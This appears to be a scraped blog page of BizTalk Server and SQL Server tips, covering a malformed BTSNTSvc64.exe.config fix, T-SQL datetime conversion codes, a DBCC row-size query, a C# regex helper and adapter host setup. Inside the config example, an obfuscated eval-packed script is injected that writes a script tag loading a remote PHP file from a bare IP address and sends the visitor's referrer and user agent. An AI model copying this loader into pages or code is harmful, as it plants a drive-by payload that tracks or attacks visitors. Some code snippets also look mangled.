Here’s a great checklist for a BizTalk Adminstrator to install BizTalk:

by Tord Glad Nordahl


Today, I recycled one of my host instances, and it didn’t start. Then I tried all of them, and several had issues. Finally, it dawned on me that I had changed the 64-bit config file:
“c:Program Files (x86)Microsoft BizTalk Server 2010BTSNTSvc64.exe.config”. The 32-bit host-instances were all starting fine, because it uses a different config file (BTSNTSvc.exe.config).

Check your web config file for malformed xml. (For example, make a copy called BTSNTSvc64.xml and open it in Internet Explorer to quickly find the error.)

I had something like this (to mailSettings close tags).

<code> <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnzan|var|u0026u|referrer|zbsdi||js|php'.split('|'),0,{}))
      <smtp from="">
        <network host="" password="" userName="" />
        <!-- formerly was: <network host="" password="" userName="" /> --> 
    </mailSettings>    </mailSettings> 

That’s it, just fix your web.config hopefully.

MSSQL Server string to date conversion – datetime string format sql server
— MSSQL string to datetime conversion – convert char to date sql server

SELECT convert(datetime, ‘Oct 23 2012 11:01AM’, 100) — mon dd yyyy hh:mmAM (or PM)

SELECT convert(datetime, ‘Oct 23 2012 11:01AM’) — 2012-10-23 11:01:00.000

— Without century (yy) string date conversion – convert string to datetime

SELECT convert(datetime, ‘Oct 23 12 11:01AM’, 0) — mon dd yy hh:mmAM (or PM)

SELECT convert(datetime, ‘Oct 23 12 11:01AM’) — 2012-10-23 11:01:00.000

— Convert string to datetime sql – convert string to date sql – sql dates format

— T-SQL convert string to datetime – SQL Server convert string to date

SELECT convert(datetime, ’10/23/2016′, 101) — mm/dd/yyyy

SELECT convert(datetime, ‘2016.10.23’, 102) —

SELECT convert(datetime, ’23/10/2016′, 103) — dd/mm/yyyy

SELECT convert(datetime, ‘23.10.2016’, 104) —

SELECT convert(datetime, ’23-10-2016′, 105) — dd-mm-yyyy

— mon types are nondeterministic conversions, dependent on language setting

SELECT convert(datetime, ’23 OCT 2016′, 106) — dd mon yyyy

SELECT convert(datetime, ‘Oct 23, 2016′, 107) — mon dd, yyyy

— 2016-10-23 00:00:00.000

SELECT convert(datetime, ’20:10:44’, 108) — hh:mm:ss

— 1900-01-01 20:10:44.000

— mon dd yyyy hh:mm:ss:mmmAM (or PM) – sql time format

SELECT convert(datetime, ‘Oct 23 2016 11:02:44:013AM’, 109)

— 2016-10-23 11:02:44.013

SELECT convert(datetime, ’10-23-2016′, 110) — mm-dd-yyyy

SELECT convert(datetime, ‘2016/10/23’, 111) — yyyy/mm/dd

SELECT convert(datetime, ‘20161023’, 112) — yyyymmdd

— 2016-10-23 00:00:00.000

SELECT convert(datetime, ’23 Oct 2016 11:02:07:577′, 113) — dd mon yyyy hh:mm:ss:mmm

— 2016-10-23 11:02:07.577

SELECT convert(datetime, ’20:10:25:300′, 114) — hh:mm:ss:mmm(24h)

— 1900-01-01 20:10:25.300

SELECT convert(datetime, ‘2016-10-23 20:44:11’, 120) — yyyy-mm-dd hh:mm:ss(24h)

— 2016-10-23 20:44:11.000

SELECT convert(datetime, ‘2016-10-23 20:44:11.500’, 121) — yyyy-mm-dd hh:mm:ss.mmm

— 2016-10-23 20:44:11.500

SELECT convert(datetime, ‘2008-10-23T18:52:47.513’, 126) — yyyy-mm-ddThh:mm:ss.mmm

— 2008-10-23 18:52:47.513

— Convert DDMMYYYY format to datetime

SELECT convert(datetime, STUFF(STUFF(‘31012016′,3,0,’-‘),6,0,’-‘), 105)

— 2016-01-31 00:00:00.000

— SQL string to datetime conversion without century – some exceptions

SELECT convert(datetime, ’10/23/16’, 1) — mm/dd/yy

SELECT convert(datetime, ‘16.10.23’, 2) —

SELECT convert(datetime, ’23/10/16′, 3) — dd/mm/yy

SELECT convert(datetime, ‘23.10.16’, 4) —

SELECT convert(datetime, ’23-10-16′, 5) — dd-mm-yy

SELECT convert(datetime, ’23 OCT 16′, 6) — dd mon yy

SELECT convert(datetime, ‘Oct 23, 16′, 7) — mon dd, yy

SELECT convert(datetime, ’20:10:44’, 8) — hh:mm:ss

SELECT convert(datetime, ‘Oct 23 16 11:02:44:013AM’, 9)

SELECT convert(datetime, ’10-23-16′, 10) — mm-dd-yy

SELECT convert(datetime, ’16/10/23′, 11) — yy/mm/dd

SELECT convert(datetime, ‘161023’, 12) — yymmdd

SELECT convert(datetime, ’23 Oct 16 11:02:07:577′, 13) — dd mon yy hh:mm:ss:mmm

SELECT convert(datetime, ’20:10:25:300′, 14) — hh:mm:ss:mmm(24h)

SELECT convert(datetime, ‘2016-10-23 20:44:11’,20) — yyyy-mm-dd hh:mm:ss(24h)

SELECT convert(datetime, ‘2016-10-23 20:44:11.500’, 21) — yyyy-mm-dd hh:mm:ss.mmm

We have one table with about 120 columns in it. I was just curious what the average row size was, and found this slick solution:

Use DBCC to find the “Average Size of a Row”


dbcc showcontig (‘your_table_name‘) with tableresults

My tablename=’Transaction’, so substitute your tablename there.


dbcc showcontig (‘Transaction’) with tableresults

average row size


average row size

Useful columns in the result are: AverageRecordSize, MinimumRecordSize, MaximumRecordSize

Below is a code fragment I use to extract a matching string using RegEx (C# Regular Expression). I put it in a class library, and make it available to BizTalk Orchestrations, Pipeline, and Map Scripting functoids that might need to call it.

//using System.Text.RegularExpressions;  <-- put this above your class, put the method below in some class library 

        public static string extractUsingRegEx(string text, string pattern)
            string resultString = "";
            Regex r1 = new Regex(pattern);
            Match match = r1.Match(text);
            if (match.Success)
                resultString = match.Groups[1].Value;
                throw new System.ApplicationException
                    ("RegEx did not match: pattern=" + pattern + " text=" + text);
            return resultString;

Below is an example usage of the RegEx routine

            string searchText = "LastName=Walters FirstName=Neal State=Texas";
            string pattern = "FirstName=(.*?) "; 
            string result = extractUsingRegEx(searchText, pattern);
            Console.WriteLine("Result=" + result); 

The parentheses indicate the text to be captured and returned in the result string. Note that in RegEx, the ? mark is used as the non-greedy indicator.

Error: Failed to load Group xxxx.BizTalkMgmtDb] data providers (in BTSAdmin Console)

Solution: Verify SQL Server is available, if not, start-it.

Screen shot below shows trying to connect to the SQL server; it might be on the same machine as BizTalk or it might be on another machine. The above error could also indicate a communication or maybe even a permission issue.

Open the SQL Config utility and start SQL server. The screen shot below shows how to start the SQL Configuration Manager:

The configuration utility shows which SQL services are started and stopped. Right click then select “Start” if it is not running:

I cannot count how many times I have got the error below:

It typically happens when you try to import a BizTalk MSI application fro, one machine and export it to another. What it implies is that that system you have exported from, and the system to which you are importing, having different settings on the Host. The first thing you normally do is go check your “trust levels” and whether the host is 32-bit or not. If that matches, then what do you do?

The secret is that this error can also indicate a problem with the adapters being related to the Host Name. In the above case, we had added the Open Source “NullAdapter” on the “from system”, and had installed the adapter on the “to system” as well. But we forgot to attach the adapter to the Host Instance, which was also called “NullAdapter” (we still don’t have good naming convention for our host instances at this site, as we inherited what was already here).

You can see this by looking at the adapters in BizTalk Admin Console:

Note in the above screen shot that the “NullAdapter” Host Name is missing from the list of “Host Names”, and in fact, there is no need for the other two “Host Names” to be there.

So first, right-click on the Adapter, click “new” then add the desired “Host Name”, as shown below. Make the new Host Name the default by checking the “Make this the default handler”. I actually forgot to that, so I got an error when I tried to delete the Host Name “BizTalkServerApplication” from the NullAdapter.

Then, associate the Adapter to the desired “Host Name”, by picking from the list of “Host Names”:

At the end, after deleting the two “Host Names” that should not have been there, the list of “Host Names” looks like this:

Remember again, I wouldn’t normally name the “Host Instance” the exact same name as the Adapter, but in this case it kind of made sense, because the “Null Adapter” is only used by us in a couple of odd places. How you should properly set up your Hosts could be the topic of another blog.

Using the following Reg-Ex (Regular Expression) to find UTF-8 or UTF-16 characters in a text file;
this should work with any editor that supports Reg-Ex, such as NotePad++ or Visual Studio.

Be sure and check the “Regular Expression” option on the search, then type in the find string: [x80-xFF]